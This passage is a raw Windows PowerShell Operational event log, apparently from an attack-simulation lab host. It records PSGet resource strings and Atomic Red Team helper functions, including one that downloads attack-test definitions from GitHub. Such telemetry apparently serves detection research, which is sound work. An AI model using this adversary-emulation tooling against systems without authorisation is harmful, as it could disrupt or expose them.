SpecifiedProviderDoesnotSupportPSModules=The specified PackageManagement Provider '{0}' does not support PowerShell Modules. PackageManagement Providers must support the 'supports-powershell-modules' feature.
PollingPackageManagementProvidersForLocation=Polling available PackageManagement Providers to find one that can support the specified source location '{0}'.
PollingSingleProviderForLocation=Resolving the source location '{0}' with PackageManagement Provider '{1}'.
FoundProviderForLocation=The PackageManagement provider '{0}' supports the source location '{1}'.
SpecifiedLocationCannotBeRegistered=The specified location '{0}' cannot be registered.
RepositoryDetails=Repository details, Name = '{0}', Location = '{1}'; IsTrusted = '{2}'; IsRegistered = '{3}'.
NotSupportedPowerShellGetFormatVersion=The specified module '{0}' with PowerShellGetFormatVersion '{1}' is not supported by the current version of PowerShellGet. Get the latest version of the PowerShellGet module to install this module, '{2}'.
NotSupportedPowerShellGetFormatVersionScripts=The specified script '{0}' with PowerShellGetFormatVersion '{1}' is not supported by the current version of PowerShellGet. Get the latest version of the PowerShellGet module to install this script, '{2}'.
PathNotFound=Cannot find the path '{0}' because it does not exist.
ModuleIsNotTrusted=Untrusted module '{0}'.
ScriptIsNotTrusted=Untrusted script '{0}'.
SkippedModuleDependency=Because dependent module '{0}' was skipped in the module dependencies list, users might not know how to install it.
MissingExternallyManagedModuleDependency=The externally managed, dependent module '{0}' is not installed on this computer. To use the current module '{1}', ensure that its dependent module '{2}' is installed.
ExternallyManagedModuleDependencyIsInstalled=The externally managed, dependent module '{0}' is already installed on this computer.
ScriptMissingExternallyManagedModuleDependency=The externally managed, dependent module '{0}' is not installed on this computer. To use the current script '{1}', ensure that its dependent module '{2}' is installed.
ScriptMissingExternallyManagedScriptDependency=The externally managed, dependent module '{0}' is not installed on this computer. To use the current script '{1}', ensure that its dependent script '{2}' is installed.
ScriptExternallyManagedScriptDependencyIsInstalled=The externally managed, dependent script '{0}' is already installed on this computer.
UnableToResolveModuleDependency=PowerShellGet cannot resolve the module dependency '{0}' of the module '{1}' on the repository '{2}'. Verify that the dependent module '{3}' is available in the repository '{4}'. If this dependent module '{5}' is managed externally, add it to the ExternalModuleDependencies entry in the PSData section of the module manifest.
FindingModuleDependencies=Finding module dependencies for version '{1}' of the module '{0}' from repository '{2}'.
InstallingDependencyModule=Installing the dependency module '{0}' with version '{1}' for the module '{2}'.
InstallingDependencyScript=Installing the dependency script '{0}' with version '{1}' for the script '{2}'.
SavingDependencyModule=Saving the dependency module '{0}' with version '{1}' for the module '{2}'.
SavingDependencyScript=Saving the dependency script '{0}' with version '{1}' for the script '{2}'.
ModuleUninstallationSucceeded=Successfully uninstalled the module '{0}' from module base '{1}'.
ScriptUninstallationSucceeded=Successfully uninstalled the script '{0}' from script base '{1}'.
AdminPrivilegesRequiredForUninstall=You cannot uninstall the module '{0}' from '{1}' because Administrator rights are required to uninstall from that folder. Log on to the computer with an account that has Administrator rights, and then try again. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
AdminPrivilegesRequiredForScriptUninstall=You cannot uninstall the script '{0}' from '{1}' because Administrator rights are required to uninstall from that folder. Log on to the computer with an account that has Administrator rights, and then try again. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
ModuleUninstallationNotPossibleAsItIsNotInstalledUsingPowerShellGet=Module '{0}' was not installed on this computer by using either the PowerShellGet cmdlets or the PowerShellGet provider, so it cannot be uninstalled.
ScriptUninstallationNotPossibleAsItIsNotInstalledUsingPowerShellGet=Script '{0}' was not installed on this computer by using either the PowerShellGet cmdlets or the PowerShellGet provider, so it cannot be uninstalled.
UnableToUninstallModuleVersion=The module '{0}' of version '{1}' in module base folder '{2}' was installed without side-by-side version support. Some versions are installed in this module base with side-by-side version support. Uninstall other versions of this module before uninstalling the most current version.
UnableToUninstallAsOtherModulesNeedThisModule=The module '{0}' of version '{1}' in module base folder '{2}' cannot be uninstalled, because one or more other modules '{3}' are dependent on this module. Uninstall the modules that depend on this module before uninstalling module '{4}'.
UnableToUninstallAsOtherScriptsNeedThisScript=The script '{0}' of version '{1}' in script base folder '{2}' cannot be uninstalled, because one or more other scripts '{3}' are dependent on this script. Uninstall the scripts that depend on this script before uninstalling script '{4}'.
RepositoryIsNotTrusted=Untrusted repository
QueryInstallUntrustedPackage=You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the modules from '{1}'?
QueryInstallUntrustedScriptPackage=You are installing the scripts from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the scripts from '{1}'?
QuerySaveUntrustedPackage=You are downloading the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to download the modules from '{1}'?
QuerySaveUntrustedScriptPackage=You are downloading the scripts from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to download the scripts from '{1}'?
SourceNotFound=Unable to find repository '{0}'. Use Get-PSRepository to see all available repositories.
PSGalleryApiV2Deprecated=PowerShell Gallery v2 has been deprecated. Please run 'Update-Module -Name PowerShellGet' to update to PowerShell Gallery v3. For more information, please visit our website at 'https://www.powershellgallery.com'.
PSGalleryApiV2Discontinued=PowerShell Gallery v2 has been discontinued. Please run 'Update-Module -Name PowerShellGet' to update to PowerShell Gallery v3. For more information, please visit our website at 'https://www.powershellgallery.com'.
PowerShellGalleryUnavailable=PowerShell Gallery is currently unavailable. Please try again later.
PowerShellGetModuleIsNotInstalledProperly=The PowerShellGet module was not installed properly. Be sure that only one instance or version of the PowerShellGet module is installed in the path '{0}'.
PowerShelLGetModuleGotUpdated=The PowerShellGet module was updated successfully. Restart the process to use the updated version of the PowerShellGet module.
TagsShouldBeIncludedInManifestFile=Tags are now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' in '{1}' with the newest tag changes. You can run Update-ModuleManifest -Tags to update the manifest with tags.
ReleaseNotesShouldBeIncludedInManifestFile=ReleaseNotes is now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' in '{1}' with the newest ReleaseNotes changes. You can run Update-ModuleManifest -ReleaseNotes to update the manifest with ReleaseNotes.
LicenseUriShouldBeIncludedInManifestFile=LicenseUri is now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' with the newest LicenseUri changes. You can run Update-ModuleManifest -LicenseUri to update the manifest with LicenseUri.
IconUriShouldBeIncludedInManifestFile=IconUri is now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' in '{1}' with the newest IconUri changes. You can run Update-ModuleManifest -IconUri to update the manifest with IconUri.
ProjectUriShouldBeIncludedInManifestFile=ProjectUri is now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' in '{1}' with the newest ProjectUri changes. You can run Update-ModuleManifest -ProjectUri to update the manifest with ProjectUri.
ShouldIncludeFunctionsToExport=This module '{0}' has exported functions. As a best practice, include exported functions in the module manifest file(.psd1). You can run Update-ModuleManifest -FunctionsToExport to update the manifest with ExportedFunctions field.
ShouldIncludeCmdletsToExport=This module '{0}' has exported cmdlets. As a best practice, include exported cmdlets in the module manifest file(.psd1). You can run Update-ModuleManifest -CmdletsToExport to update the manifest with ExportedCmdlets field.
ShouldIncludeDscResourcesToExport=This module '{0}' has exported DscResources. As a best practice, include exported DSC resources in the module manifest file(.psd1). If your PowerShell version is higher than 5.0, run Update-ModuleManifest -DscResourcesToExport to update the manifest with ExportedDscResources field.
UpdateModuleManifestPathCannotFound=Cannot load the manifest file '{0}' properly. Please specify the correct manifest path.
UpdatedModuleManifestNotValid=Cannot update the manifest file '{0}' because the manifest is not valid. Verify that the manifest file is valid, and then try again.'{1}'
ExportedDscResourcesNotSupportedOnLowerPowerShellVersion=The ExportedDscResources property is not supported in module manifests on PowerShell versions that are older than 5.0. Remove the value for the parameter ‘DscResourcesToExport’, and then try again.
CompatiblePSEditionsNotSupportedOnLowerPowerShellVersion=The CompatiblePSEditions property is not supported in module manifests on PowerShell versions that are older than 5.1. Remove the value for the parameter ‘CompatiblePSEditions’, and then try again.
ExternalModuleDependenciesNotSpecifiedInRequiredOrNestedModules='{0}' is listed in ExternalModuleDependencies, but it is not found in either the RequiredModules or NestedModules properties. Verify that this module is required for ExternalModuleDependencies, and then add it to NestedModules or RequiredModules.
TestModuleManifestFail=Cannot update the manifest properly. '{0}'
PackageManagementProvidersNotInModuleBaseFolder=PackageManagementProvider '{0}' is not found in the module base '{1}'. Verify that the PackageManagementProvider specified is within the module base.
UpdateManifestContentMessage=Update manifest file with new contents:
InvalidPackageManagementProviderValue=The PackageManagementProvider value cannot be '{0}'. Valid values for provider names include '{1}', and the default value for this parameter is '{2}'.
PowerShellGetUpdateIsNotSupportedOnLowerPSVersions=Self update of the PowerShellGet module is supported only in PowerShell 5.0 and newer releases. It is not supported in PowerShell 3.0 or 4.0.
ScriptVersionShouldBeGreaterThanGalleryVersion=Script '{0}' with version '{1}' cannot be published. The version must exceed the current version '{2}' that exists in the repository '{3}', or you must specify -Force.
ScriptVersionIsAlreadyAvailableInTheGallery=The script '{0}' with version '{1}' cannot be published as the current version '{2}' is already available in the repository '{3}'.
ScriptParseError=The specified script file '{0}' has parse errors, try again after fixing the parse errors.
InvalidScriptToPublish=Script file '{0}' cannot be published because it does not have the required script metadata. Run Update-ScriptFileInfo -Path '{1}' to add the script metadata.
FailedToCreateCompressedScript=Failed to generate the compressed file for script '{0}'.
FailedToPublishScript=Failed to publish script '{0}': '{1}'.
PublishedScriptSuccessfully=Successfully published script '{0
ScriptBlock ID: 6e925164-9e2f-4b72-a634-5bfcdef94594
Path:
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467065
Keywords=None
Message=Creating Scriptblock text (1 of 3):
# Localized 03/28/2017 06:00 AM (GMT) 303:4.80.0411 PSGet.Resource.psd1
#########################################################################################
#
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# Localized PSGet.Resource.psd1
#
#########################################################################################
ConvertFrom-StringData @'
###PSLOC
InstallModulewhatIfMessage=Version '{1}' of module '{0}'
InstallScriptwhatIfMessage=Version '{1}' of script '{0}'
UpdateModulewhatIfMessage=Version '__OLDVERSION__' of module '{0}', updating to version '{1}'
UpdateScriptwhatIfMessage=Version '__OLDVERSION__' of script '{0}', updating to version '{1}'
PublishModulewhatIfMessage=Version '{0}' of module '{1}'
PublishScriptwhatIfMessage=Version '{0}' of script '{1}'
NewScriptFileInfowhatIfMessage=Creating the '{0}' PowerShell Script file
UpdateScriptFileInfowhatIfMessage=Updating the '{0}' PowerShell Script file
NameShouldNotContainWildcardCharacters=The specified name '{0}' should not contain any wildcard characters, please correct it and try again.
AllVersionsCannotBeUsedWithOtherVersionParameters=You cannot use the parameter AllVersions with RequiredVersion, MinimumVersion or MaximumVersion in the same command.
VersionRangeAndRequiredVersionCannotBeSpecifiedTogether=You cannot use the parameters RequiredVersion and either MinimumVersion or MaximumVersion in the same command. Specify only one of these parameters in your command.
RequiredVersionAllowedOnlyWithSingleModuleName=The RequiredVersion parameter is allowed only when a single module name is specified as the value of the Name parameter, without any wildcard characters.
MinimumVersionIsGreaterThanMaximumVersion=The specified MinimumVersion '{0}' is greater than the specified MaximumVersion '{1}'.
InstallModuleNeedsCurrentUserScopeParameterForNonAdminUser=Administrator rights are required to install modules in '{0}'. Log on to the computer with an account that has Administrator rights, and then try again, or install '{1}' by adding "-Scope CurrentUser" to your command. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
InstallScriptNeedsCurrentUserScopeParameterForNonAdminUser=Administrator rights are required to install scripts in '{0}'. Log on to the computer with an account that has Administrator rights, and then try again, or install '{1}' by adding "-Scope CurrentUser" to your command. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
VersionParametersAreAllowedOnlyWithSingleName=The RequiredVersion, MinimumVersion, MaximumVersion or AllVersions parameters are allowed only when you specify a single name as the value of the Name parameter, without any wildcard characters.
PathIsNotADirectory=The specified path '{0}' is not a valid directory.
ModuleAlreadyInstalled=Version '{0}' of module '{1}' is already installed at '{2}'. To delete version '{3}' and install version '{4}', run Install-Module, and add the -Force parameter.
ScriptAlreadyInstalled=Version '{0}' of script '{1}' is already installed at '{2}'. To delete version '{3}' and install version '{4}', run Install-Script, and add the -Force parameter.
CommandAlreadyAvailable=A command with name '{0}' is already available on this system. This script '{0}' may override the existing command. If you still want to install this script '{0}', use -Force parameter.
ModuleAlreadyInstalledSxS=Version '{0}' of module '{1}' is already installed at '{2}'. To install version '{3}', run Install-Module and add the -Force parameter, this command will install version '{5}' in side-by-side with version '{4}'.
ModuleAlreadyInstalledVerbose=Version '{0}' of module '{1}' is already installed at '{2}'.
ScriptAlreadyInstalledVerbose=Version '{0}' of script '{1}' is already installed at '{2}'.
ModuleWithRequiredVersionAlreadyInstalled=Version '{0}' of module '{1}' is already installed at '{2}'. To reinstall this version '{3}', run Install-Module or Updated-Module cmdlet with the -Force parameter.
InvalidPSModule=The module '{0}' cannot be installed or updated because it is not a properly-formed module.
InvalidPowerShellScriptFile=The script '{0}' cannot be installed or updated because it is not a properly-formed script.
InvalidAuthenticodeSignature=The module '{0}' cannot be installed or updated because the Authenticode signature for the file '{1}' is not valid.
ModuleNotInstalledOnThisMachine=Module '{0}' was not updated because no valid module was found in the module directory. Verify that the module is located in the folder specified by $env:PSModulePath.
ScriptNotInstalledOnThisMachine=Script '{0}' was not updated because no valid script was found in the script directories '{1}' and '{2}'.
AdminPrivilegesRequiredForUpdate=Module '{0}' (installed at'{1}') cannot be updated because Administrator rights are required to change that directory. Log on to the computer with an account that has Administrator rights, and then try again. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
AdminPrivilegesRequiredForScriptUpdate=Script '{0}' (installed at'{1}') cannot be updated because Administrator rights are required to change that script. Log on to the computer with an account that has Administrator rights, and then try again. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
ModuleNotInstalledUsingPowerShellGet=Module '{0}' was not installed by using Install-Module, so it cannot be updated.
ScriptNotInstalledUsingPowerShellGet=Script '{0}' was not installed by using Install-Script, so it cannot be updated.
DownloadingModuleFromGallery=Downloading module '{0}' with version '{1}' from the repository '{2}'.
DownloadingScriptFromGallery=Downloading script '{0}' with version '{1}' from the repository '{2}'.
NoUpdateAvailable=No updates were found for module '{0}'.
NoScriptUpdateAvailable=No updates were found for module '{0}'.
FoundModuleUpdate=An update for the module '{0}' was found with version '{1}'.
FoundScriptUpdate=An update for the script '{0}' was found with version '{1}'.
InvalidPSModuleDuringUpdate=Module '{0}' was not updated because the module in the repository '{1}' is not a valid Windows PowerShell module.
ModuleGotUpdated=Module '{0}' has been updated successfully.
TestingModuleInUse=Testing if the module to update is in use.
ModuleDestination=The specified module will be installed in '{0}'.
ScriptDestination=The specified script will be installed in '{0}' and its dependent modules will be installed in '{1}'.
ModuleIsInUse=Module '{0}' is in currently in use.
ModuleInstalledSuccessfully=Module '{0}' was installed successfully to path '{1}'.
ModuleSavedSuccessfully=Module '{0}' was saved successfully to path '{1}'.
ScriptInstalledSuccessfully=Script '{0}' was installed successfully to path '{1}'.
ScriptSavedSuccessfully=Script '{0}' was saved successfully to path '{1}'.
CheckingForModuleUpdate=Checking for updates for module '{0}'.
CheckingForScriptUpdate=Checking for updates for script '{0}'.
ModuleInUseWithProcessDetails=The version '{0}' of module '{1}' is currently in use. Retry the operation after closing the following applications: '{2}'.
ModuleVersionInUse=The version '{0}' of module '{1}' is currently in use. Retry the operation after closing the applications.
ModuleNotAvailableLocally=The specified module '{0}' was not published because no module with that name was found in any module directory.
InvalidModulePathToPublish=The specified module with path '{0}' was not published because no valid module was found with that path.
ModuleWithRequiredVersionNotAvailableLocally=The specified module '{0}' with version '{1}' was not published because no module with that name and version was found in any module directory.
AmbiguousModuleName=Modules with the name '{0}' are available under multiple paths. Add the -RequiredVersion parameter or the -Path parameter to specify the module to publish.
AmbiguousModulePath=Multiple versions are available under the specified module path '{0}'. Specify the full path to the module to be published.
PublishModuleLocation=Module '{0}' was found in '{1}'.
InvalidModuleToPublish=Module '{0}' cannot be published because it does not have a module manifest file. Run New-ModuleManifest -Path to create a module manifest with metadata before publishing.
MissingRequiredManifestKeys=Module '{0}' cannot be published because it is missing required metadata. Verify that the module manifest specifies Description and Author.
ModuleVersionShouldBeGreaterThanGalleryVersion=Module '{0}' with version '{1}' cannot be published. The version must exceed the current version '{2}' that exists in the repository '{3}', or you must specify -Force.
ModuleVersionIsAlreadyAvailableInTheGallery=The module '{0}' with version '{1}' cannot be published as the current version '{2}' is already available in the repository '{3}'.
CouldNotInstallNuGetProvider=NuGet provider is required to interact with NuGet-based repositories. Please ensure that '{0}' or newer version of NuGet provider is installed.
CouldNotInstallNuGetExe=NuGet.exe is required to interact with NuGet-based repositories. Please ensure that NuGet.exe is available under one of the paths specified in PATH environment variable value.
CouldNotInstallNuGetBinaries2=PowerShellGet requires NuGet.exe and NuGet provider version '{0}' or newer to interact with the NuGet-based repositories. Please ensure that '{0}' or newer version of NuGet provider is installed and NuGet.exe is available under one of the paths specified in PATH environment variable value.
InstallNuGetProviderShouldContinueQuery=PowerShellGet requires NuGet provider version '{0}' or newer to interact with NuGet-based repositories. The NuGet provider must be available in '{1}' or '{2}'. You can also install the NuGet provider by running 'Install-PackageProvider -Name NuGet -MinimumVersion {0} -Force'. Do you want PowerShellGet to install and import the NuGet provider now?
InstallNuGetBinariesShouldContinueQuery2=PowerShellGet requires NuGet.exe and NuGet provider version '{0}' or newer to interact with the NuGet-based repositories. The NuGet provider must be available in '{1}' or '{2}'. You can also install the NuGet provider by running 'Install-PackageProvider -Name NuGet -MinimumVersion {0} -Force'. NuGet.exe must be available in '{3}' or '{4}, or under one of the paths specified in PATH environment variable value. NuGet.exe can be downloaded from http://nuget.org/nuget.exe. Do you want PowerShellGet to install both NuGet.exe and NuGet provider now?
InstallNuGetExeShouldContinueQuery=PowerShellGet requires NuGet.exe to publish an item to the NuGet-based repositories. NuGet.exe must be available in '{0}' or '{1}, or under one of the paths specified in PATH environment variable value. NuGet.exe can be downloaded from http://nuget.org/nuget.exe. Do you want PowerShellGet to install NuGet.exe now?
InstallNuGetBinariesShouldContinueCaption2=NuGet.exe and NuGet provider are required to continue
InstallNuGetProviderShouldContinueCaption=NuGet provider is required to continue
InstallNuGetExeShouldContinueCaption=NuGet.exe is required to continue
DownloadingNugetExe=Installing NuGet.exe.
DownloadingNugetProvider=Installing NuGet provider.
ModuleNotFound=Module '{0}' was not found.
NoMatchFound=No match was found for the specified search criteria and module names '{0}'.
NoMatchFoundForScriptName=No match was found for the specified search criteria and script names '{0}'.
FailedToCreateCompressedModule=Failed to generate the compressed file for module '{0}'.
FailedToPublish=Failed to publish module '{0}': '{1}'.
PublishedSuccessfully=Successfully published module '{0}' to the module publish location '{1}'. Please allow few minutes for '{2}' to show up in the search results.
InvalidWebUri=The specified Uri '{0}' for parameter '{1}' is an invalid Web Uri. Please ensure that it meets the Web Uri requirements.
RepositoryAlreadyRegistered=The repository could not be registered because there exists a registered repository with Name '{0}' and SourceLocation '{1}'. To register another repository with Name '{2}', please unregister the existing repository using the Unregister-PSRepository cmdlet.
RepositoryToBeUnregisteredNotFound=The repository '{0}' was not removed because no repository was found with that name. Please run Get-PSRepository and ensure that a repository of that name is present.
RepositoryCannotBeUnregistered=The specified repository '{0}' cannot be unregistered.
RepositoryNotFound=No repository with the name '{0}' was found.
PSGalleryNotFound=Unable to find repository '{0}'. Use Get-PSRepository to see all available repositories. Try again after specifying a valid repository name. You can use 'Register-PSRepository -Default' to register the PSGallery repository.
ParameterIsNotAllowedWithPSGallery=The PSGallery repository has pre-defined locations. The '{0}' parameter is not allowed, try again after removing the '{0}' parameter.
UseDefaultParameterSetOnRegisterPSRepository=Use 'Register-PSRepository -Default' to register the PSGallery repository.
RepositoryNameContainsWildCards=The repository name '{0}' should not have wildcards, correct it and try again.
InvalidRepository=The specified repository '{0}' is not a valid registered repository name. Please ensure that '{1}' is a registered repository.
RepositoryRegistered=Successfully registered the repository '{0}' with source location '{1}'.
RepositoryUnregistered=Successfully unregistered the repository '{0}'.
PSGalleryPublishLocationIsMissing=The specified repository '{0}' does not have a valid PublishLocation. Retry after setting the PublishLocation for repository '{1}' to a valid NuGet publishing endpoint using the Set-PSRepository cmdlet.
PSRepositoryScriptPublishLocationIsMissing=The specified repository '{0}' does not have a valid ScriptPublishLocation. Retry after setting the ScriptPublishLocation for repository '{1}' to a valid NuGet publishing endpoint using the Set-PSRepository cmdlet.
ScriptSourceLocationIsMissing=The specified repository '{0}' does not have a valid ScriptSourceLocation. Retry after setting the ScriptSourceLocation for repository '{0}' to a valid NuGet endpoint for scripts using the Set-PSRepository cmdlet.
PublishModuleSupportsOnlyNuGetBasedPublishLocations=Publish-Module only supports the NuGet-based publish locations. The PublishLocation '{0}' of the repository '{1}' is not a NuGet-based publish location. Retry after setting the PublishLocation for repository '{1
ScriptBlock ID: 6e925164-9e2f-4b72-a634-5bfcdef94594
Path:
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467226
Keywords=None
Message=Completed invocation of ScriptBlock ID: cafda140-fb82-427b-9d7a-25353affb263
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467225
Keywords=None
Message=Started invocation of ScriptBlock ID: cafda140-fb82-427b-9d7a-25353affb263
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467224
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Install-AtomicsFolder {
<#
.SYNOPSIS
This is a simple script to download the atttack definitions in the "atomics" folder of the Red Canary Atomic Red Team project.
License: MIT License
Required Dependencies: powershell-yaml
Optional Dependencies: None
.PARAMETER DownloadPath
Specifies the desired path to download atomics zip archive to.
.PARAMETER InstallPath
Specifies the desired path for where to unzip the atomics folder.
.PARAMETER Force
Delete the existing atomics folder before installation if it exists.
.EXAMPLE
Install atomics folder
PS> Install-AtomicsFolder.ps1
.NOTES
Use the '-Verbose' option to print detailed information.
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $False, Position = 0)]
[string]$InstallPath = $( if ($IsLinux -or $IsMacOS) { $Env:HOME + "/AtomicRedTeam" } else { $env:HOMEDRIVE + "\AtomicRedTeam" }),
[Parameter(Mandatory = $False, Position = 1)]
[string]$DownloadPath = $InstallPath,
[Parameter(Mandatory = $False, Position = 2)]
[string]$RepoOwner = "redcanaryco",
[Parameter(Mandatory = $False, Position = 3)]
[string]$Branch = "master",
[Parameter(Mandatory = $False)]
[switch]$Force = $False # delete the existing install directory and reinstall
)
Try {
$InstallPathwAtomics = Join-Path $InstallPath "atomics"
if ($Force -or -Not (Test-Path -Path $InstallPathwAtomics )) {
write-verbose "Directory Creation"
if ($Force) {
Try {
if (Test-Path $InstallPathwAtomics) { Remove-Item -Path $InstallPathwAtomics -Recurse -Force -ErrorAction Stop | Out-Null }
}
Catch {
Write-Host -ForegroundColor Red $_.Exception.Message
return
}
}
if (-not (Test-Path $InstallPath)) { New-Item -ItemType directory -Path $InstallPath | Out-Null }
$url = "https://github.com/$RepoOwner/atomic-red-team/archive/$Branch.zip"
$path = Join-Path $DownloadPath "$Branch.zip"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
write-verbose "Beginning download of atomics folder from Github"
Invoke-WebRequest $url -OutFile $path
write-verbose "Extracting ART to $InstallPath"
$zipDest = Join-Path "$DownloadPath" "tmp"
expand-archive -LiteralPath $path -DestinationPath "$zipDest" -Force:$Force
$atomicsFolderUnzipped = Join-Path (Join-Path $zipDest "atomic-red-team-$Branch") "atomics"
Move-Item $atomicsFolderUnzipped $InstallPath
Remove-Item $zipDest -Recurse -Force
Remove-Item $path
}
else {
Write-Host -ForegroundColor Yellow "An atomics folder already exists at $InstallPathwAtomics. No changes were made."
Write-Host -ForegroundColor Cyan "Try the install again with the '-Force' parameter if you want to delete the existing installion and re-install."
Write-Host -ForegroundColor Red "Warning: All files within the atomics folder ($InstallPathwAtomics) will be deleted when using the '-Force' parameter."
}
}
Catch {
Write-Host -ForegroundColor Red "Installation of the AtomicsFolder Failed."
Write-Host $_.Exception.Message`n
}
}
ScriptBlock ID: cafda140-fb82-427b-9d7a-25353affb263
Path:
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6d3e6677-f948-4e19-b867-151cde9a5a60
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467222
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2774a846-5db8-45b9-a46d-ebac9335e82f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467221
Keywords=None
Message=Started invocation of ScriptBlock ID: 2774a846-5db8-45b9-a46d-ebac9335e82f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467220
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Write-PrereqResults ($FailureReasons, $testId) {
if ($FailureReasons.Count -eq 0) {
Write-KeyValue "Prerequisites met: " $testId
}
else {
Write-Host -ForegroundColor Red "Prerequisites not met: $testId"
foreach ($reason in $FailureReasons) {
Write-Host -ForegroundColor Yellow -NoNewline "`t[*] $reason"
}
Write-Host -ForegroundColor Yellow -NoNewline "`nTry installing prereq's with the "
Write-Host -ForegroundColor Cyan -NoNewline "-GetPrereqs"
Write-Host -ForegroundColor Yellow " switch"
}
}
ScriptBlock ID: 2774a846-5db8-45b9-a46d-ebac9335e82f
Path: C:\AtomicRedTeam\invoke-atomicredteam\Private\Write-PrereqResults.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467219
Keywords=None
Message=Completed invocation of ScriptBlock ID: bff28245-7378-4201-af85-7adcd845ae7d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467218
Keywords=None
Message=Started invocation of ScriptBlock ID: bff28245-7378-4201-af85-7adcd845ae7d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467217
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Write-KeyValue ($key, $value) {
Write-Host -ForegroundColor Cyan -NoNewline $key
